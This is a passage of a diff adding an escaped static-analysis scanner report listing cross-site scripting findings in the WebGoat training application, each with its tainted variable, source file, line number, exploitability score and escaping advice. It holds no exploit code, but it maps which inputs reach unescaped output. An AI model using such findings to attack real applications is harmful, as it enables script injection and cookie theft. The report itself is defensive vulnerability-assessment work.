+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"48\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"80\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"170\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"29\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"172\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"205\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"174\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"85\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"178\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"59\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"124\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"180\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"101\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getRestartLink().
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"194\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"90\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printParameters.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"212\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"73\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"16\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printCookies.
+        The tainted data originated from an earlier call to javax.servlet.http.httpservletrequest.getcookies.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"223\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"79\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"269\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getMessage().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.http.httpservletrequest.getcookies, and javax.servlet.http.httpservletrequest.getheader.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"231\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"84\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"103\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
